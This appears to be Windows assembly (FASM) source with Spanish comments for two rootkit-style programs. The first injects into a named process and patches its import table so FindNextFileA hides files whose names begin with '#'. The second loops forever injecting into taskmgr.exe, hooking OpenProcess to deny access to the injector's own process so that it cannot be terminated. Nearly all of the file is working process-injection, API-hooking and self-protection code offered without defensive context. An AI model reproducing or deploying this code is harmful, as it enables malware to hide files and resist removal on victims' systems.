include 'C:\fasm\include\win32ax.inc'
 
.code
proc start
    locals
        ProcessName             db                              "prueba.exe",0
    endl
 
    stdcall Inyectar,addr ProcessName,FinFuncionHook-FuncionHook,FuncionHook,0,0
    cmp eax,-1
    je Salir
 
    ;ebx=hProcess
    ;eax=DirFuncion
 
    mov esi,eax
    add eax,FinFuncionHook-FuncionHook
    sub eax,4
 
    ;Escribimos la dirección de GetProcAddress en la variable pGetProcAddress
    invoke WriteProcessMemory,ebx,eax,GetProcAddress,4,0
 
    stdcall Inyectar,addr ProcessName,FinParchearIAT-ParchearIAT,ParchearIAT,esi,1
    cmp eax,-1
    je Salir
 
    invoke ExitProcess,0
 
    Salir:
    invoke MessageBoxA,0,"No se encontró el proceso!",0,0
    invoke ExitProcess,0
endp
 
proc Inyectar,ProcessName,Tamaño,Funcion,Datos,bCrearHilo
    locals
        struct PROCESSENTRY32
            dwSize                  dd ?
            cntUsage                dd ?
            th32ProcessID           dd ?
            th32DefaultHeapID       dd ?
            th32ModuleID            dd ?
            cntThreads              dd ?
            th32ParentProcessID     dd ?
            pcPriClassBase          dd ?
            dwFlags                 dd ?
            szExeFile               rb MAX_PATH
        ends
 
        pInfo                   PROCESSENTRY32                  ?
        Handle                  dd                              ?
        PID                     dd                              ?
        DirFuncion              dd                              ?
        hProcess                dd                              ?
    endl
 
    pushad
 
    ;Obtenemos el PID del proceso
    invoke CreateToolhelp32Snapshot,0x00000002,0
    mov [Handle],eax
 
     mov eax,sizeof.PROCESSENTRY32
     mov [pInfo.dwSize], eax
 
    BuclePid:
        invoke Process32Next,[Handle],addr pInfo
        cmp eax,0
        je FinProcBuclePID ;No hay más procesos
        invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
        cmp eax,0
        jne BuclePid
        jmp FinBuclePid
 
    FinProcBuclePID:
    invoke CloseHandle,[Handle]
    popad
    mov eax,-1
    ret
 
    FinBuclePid:
    invoke CloseHandle,[Handle]
    push [pInfo.th32ProcessID]
    pop [PID]
 
    ;Lazamos el proceso
    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
    mov [hProcess],eax
 
    ;Reservamos espacio en el proceso
    invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [DirFuncion],eax
 
    ;Escribimos los datos en memoria
    invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
    ;Creamos el hilo si se espacificó que si
    cmp [bCrearHilo],0
    je retornar
 
    invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
 
    retornar:
    popad
    mov eax,[DirFuncion]
    mov ebx,[hProcess]
    ret
endp
 
proc ParchearIAT,DirFuncion
 
     locals
         BaseKernel32                   dd               ?
         BaseExe                        dd               ?
         IT                             dd               ?
         Contador                       dd               0
         OriginalProtection             dd               ?
         Lib1                           dd              "KERN"
         Lib2                           dd              "kern"
         ET                             dd               ?
         pGetProcAddress                dd               ?
     endl
 
     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
     mov eax,[fs:0x30]
     mov eax,[eax+0x0C]
     mov eax,[eax+0x1C]
     mov eax,[eax]
     mov eax,[eax+0x08]
     mov [BaseKernel32],eax
 
     ;Buscamos la dirección de GetProcAddress en KERNEL32.DLL
 
     ;Vamos al PE
     mov eax,dword[eax+0x3C]
     add eax,[BaseKernel32]
 
     ;Vamos a la Export Table
     mov eax,dword[eax+0x78]
     add eax,[BaseKernel32]
     mov [ET],eax
 
     ;Vamos al AddressOfNames
     mov eax,dword[eax+0x20]
     add eax,[BaseKernel32]
     mov edi,eax
 
     xor ecx,ecx
     BucleApiE:
        mov ebx,dword[edi]
        add ebx,[BaseKernel32]
 
        cmp dword[ebx],"GetP"
        jne siguiente
        cmp dword[ebx+4],"rocA"
        je Encontrado
        siguiente:
        add edi,4
        inc ecx
        jmp BucleApiE
 
     Encontrado: ;ecx=numero api=GetProcAddress
 
     ; Obtenemos el ordinal de GetProcAddress
     mov eax,[ET]
     mov ebx,dword[eax+0x24]
     add ebx,[BaseKernel32]
     rol ecx,1 ; ecx*2
     add ebx,ecx
 
     ; Obtenemos la dirección de GetProcAdress
     xor ecx,ecx
     movzx ecx,word[ebx]
     rol ecx,2
     mov eax,[ET]
     mov eax,dword[eax+0x1C]
     add eax,[BaseKernel32]
     add eax,ecx
     mov eax,dword[eax]
     add eax,[BaseKernel32]
     mov [pGetProcAddress],eax
 
     ;Leemos el PEB para obtener la base del Exe
     mov eax,[fs:0x30]
     mov eax,[eax+0x08]
     mov [BaseExe],eax
 
     mov eax,dword[eax+0x3C]   ;Vamos al PE
     add eax,[BaseExe]
 
     mov eax,dword[eax+0x80] ;Vamos a la Import Table
     add eax,[BaseExe]
     mov [IT],eax
 
     BucleLib:
         mov eax,[IT]
         add eax,12   ;
         add eax,[Contador]
         mov eax,dword[eax]
         add eax,[BaseExe]
         mov ebx,eax
 
         mov eax,[Lib1]
         cmp dword[ebx],eax
         je EncontradaKernel32
         mov eax,[Lib2]
         cmp dword[ebx],eax
         je EncontradaKernel32
         add [Contador],20
         jmp BucleLib
 
     EncontradaKernel32:
     mov eax,[IT]
     add eax,[Contador]
     add eax,16 ;FirstThunk
     mov ebx,dword [eax] ;Vamos a la IAT de Kernel32.dll
     add ebx,[BaseExe]
 
     BucleApi:
        stdcall [pGetProcAddress],[BaseKernel32],"FindNextFileA"
        cmp dword[ebx],eax
        je CambiarPuntero
        add ebx,4
        jmp BucleApi
 
     CambiarPuntero:
 
     ;Damos permisos a la dirección para poder cambiar el puntero
     stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
     stdcall eax,ebx,4,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
     ;Cambiamos el puntero por el de nuestra funcion
     mov eax,[DirFuncion]
     mov dword[ebx],eax
 
     ret
 
endp
FinParchearIAT:
 
;Función a la que salta el programa cuando se llama a la API hookeada
proc FuncionHook,hFindFile,lpFindFileData
     Volver:
     ;Obtenemos el delta offset
     call delta2
     delta2:
     pop edx
     sub edx,delta2
 
     ;Obtenemos la dirección de GetProcAddress
     mov ecx,edx
     add ecx,pGetProcAddress
     mov ecx,dword[ecx]
 
     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
     mov eax,[fs:0x30]
     mov eax,[eax+0x0C]
     mov eax,[eax+0x1C]
     mov eax,[eax]
     mov eax,[eax+0x08]
 
     mov ebx,edx
     add ebx,NombreApi
     push ebx      ;Puseamos la dirécción de NombreApi
     push eax      ;Pusheamos la dirección base de KERNEL32.DLL
     call ecx
 
     mov ecx,eax
 
     ;Llamamos a la api
     push [lpFindFileData]
     push [hFindFile]
     call ecx
     cmp eax,0
     je Retornar
 
     mov ebx,[lpFindFileData]
     add ebx,44
     cmp byte[ebx],'#'
     jne Retornar
 
     jmp Volver
 
     Retornar:
     ret
endp
     NombreApi                                  db              "FindNextFileA",0
     pGetProcAddress                            dd              ?
FinFuncionHook:
.end start

; FinFuncion-FuncionInyectada = tamaño de la funcion
include 'win32ax.inc' ;Incluimos la libreria
 
.data ; Declaramos la sección de codigo
proc start ; Entry Point
    locals
           struct PROCESSENTRY32
            dwSize                  dd ?
            cntUsage                dd ?
            th32ProcessID           dd ?
            th32DefaultHeapID       dd ?
            th32ModuleID            dd ?
            cntThreads              dd ?
            th32ParentProcessID     dd ?
            pcPriClassBase          dd ?
            dwFlags                 dd ?
            szExeFile               rb MAX_PATH
        ends
              pInfo                   PROCESSENTRY32                  ?
 
    PID dd ?
      lProc dd ?
        DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
        lHandle dd ?
 
    endl
   mov eax,dword[fs:18h]
mov eax,dword[eax+20h]
mov [dPID],eax
  ;   invoke FindWindowEx,0,0,"Progman",NULL
    .seguir:
       invoke CreateToolhelp32Snapshot,0x00000002,0
       mov [lHandle],eax
 
     mov eax,sizeof.PROCESSENTRY32
     mov [pInfo.dwSize], eax
 
           .BuclePid:
        invoke Process32Next,[lHandle],addr pInfo
       cmp eax,0
       je .seguir
 
                 invoke lstrcmp,addr pInfo.szExeFile,"taskmgr.exe"
        cmp eax,0
         jne .BuclePid
 
 
 
         .Seguir2:
 ;   invoke GetWindowThreadProcessId,eax,addr PID
    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[pInfo.th32ProcessID]
     mov [lProc],eax
 stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc]
  mov [DirFun],eax
      invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0
      invoke GetModuleHandle,'kernel32.dll'
      invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0
    invoke Sleep,100
    jmp .seguir
 
    endp
 
 
proc ReservarEspacio,pTamaño,pPid
    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    ret
endp
 
proc FuncionInyectada,pMZ
locals ; Definimos las variables locales
pGetProcAddress dd ?
lDelta dd ?
lGetMDA DD ?
lWSOCK32 dd ?
lRMM dd ?
lDD dd ?
LVRPX dd ?
lBytes dd ?
lSend dd ?
endl
     call delta
     delta:
     pop edx
     sub edx,delta
     mov [lDelta],edx
     mov eax,[lDelta]
     add eax,GetAddressFunction
     mov [pGetProcAddress],eax
        stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
     mov [lGetMDA],eax
     stdcall [lGetMDA],"kernel32.DLL"
     mov [lWSOCK32],eax
       stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta]
     stdcall eax,[lWSOCK32],"OpenProcess"
     mov [lSend],eax
   mov ebx,cRtlMoveMemory
   add ebx,[lDelta]
   mov [lRMM],ebx
   mov edi,BytesOriginales
   add edi,[lDelta]
 
 
      stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta]
      mov [LVRPX],eax
   mov edi,BytesOriginales
   add edi,[lDelta]
         lea edx,[lDD]
         mov [lBytes],edi
stdcall [LVRPX],-1,[lBytes],40,PAGE_EXECUTE_READWRITE,edx
 
     stdcall [lRMM],[lBytes],[lSend],20
              lea edx,[lDD]
stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx
mov eax,[lSend]
mov byte[eax],0x68
inc eax
mov dword[eax],MiOpenProcess
mov edx,[lDelta]
add dword[eax] ,edx
add eax,4
mov byte[eax],0xC3
mov eax,DireecionAPI
add eax,[lDelta]
mov edi,[lSend]
mov [eax],edi
       stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta]
     mov [lGetMDA],eax
     stdcall [lGetMDA],"user32.dll"
          stdcall [pGetProcAddress],eax,"MessageBoxA",[lDelta]
mov edi, eax
mov eax,DireccionMes
add eax,[lDelta]
mov [eax],edi
     stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta]
  stdcall eax,-1
     endp
     proc GetAddressFunction,pMZ,pApi,lDelta
     locals
     lDelta2 dd ?
     endl
;EDI = MZ
;Expot data = EBX
;Esi = Cantidad de funciones
;edx = AddressOfNames
;ECX = Propositos generales
mov edi, [pMZ]
mov ebx,[edi+0x3c]
mov ebx,[ebx+edi+0x78]
add ebx,edi
mov esi,[0x18+ebx]
mov edx, [0x20+ebx]
add edx,edi
.bucle:
dec esi
cmp esi,0
je .error
mov eax,esi
rol eax,2   ;Multiplicamos esi por 4
mov eax,[edx + eax]
add eax,edi
push eax
mov eax,[lDelta]
mov [lDelta2],eax
add [lDelta2],comparar
pop eax
stdcall [lDelta2],[pApi],eax
xor eax,0
jnz  .bucle
mov eax,[0x24+ebx]
add eax,edi
movzx ecx, word[eax + 2*esi]
mov eax, [ebx + 0x1c]
add eax,edi
mov eax, [eax + 4 * ecx]
add eax, edi
.salir:
ret
.error:
xor eax,eax
jmp .salir
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
 
proc MiOpenProcess,p1,p2,p3
locals
lDelta dd ?
lRMM dd ?
lResultado dd ?
lDireccion dd ?
lMensaje dd ?
lBytes dd ?
endl
   call .delta
     .delta:
     pop edx
     sub edx,.delta
     mov [lDelta],edx
     mov eax,[lDelta]
add eax,DireccionMes
mov eax,dword[eax]
mov [lMensaje],eax
mov eax, DireecionAPI
add eax,[lDelta]
mov eax,dword[eax]
mov [lDireccion],eax
mov eax,cRtlMoveMemory
add eax,[lDelta]
mov [lRMM],eax
mov eax,BytesOriginales
add eax,[lDelta]
mov [lBytes],eax
 
stdcall [lRMM],[lDireccion],[lBytes],20
mov eax,[lDelta]
add eax,dPID
mov eax,dword[eax]
.if [p3] = eax
mov eax, dword[FS:18h]
mov dword[eax+34h],0x5;Seteamos el error de acceso denegado
mov eax,0
ret
.else
stdcall [lDireccion],[p1],[p2],[p3]
mov [lResultado],eax
.endif
 
 
mov eax,[lResultado]
ret
endp
DireccionMes dd ?
DireecionAPI dd ?
dPID         dd ?
 
 
BytesOriginales:
db 50 dup (0)
 
     FinFuncion:
.end start ; Declaramos el Import data y el Entry Point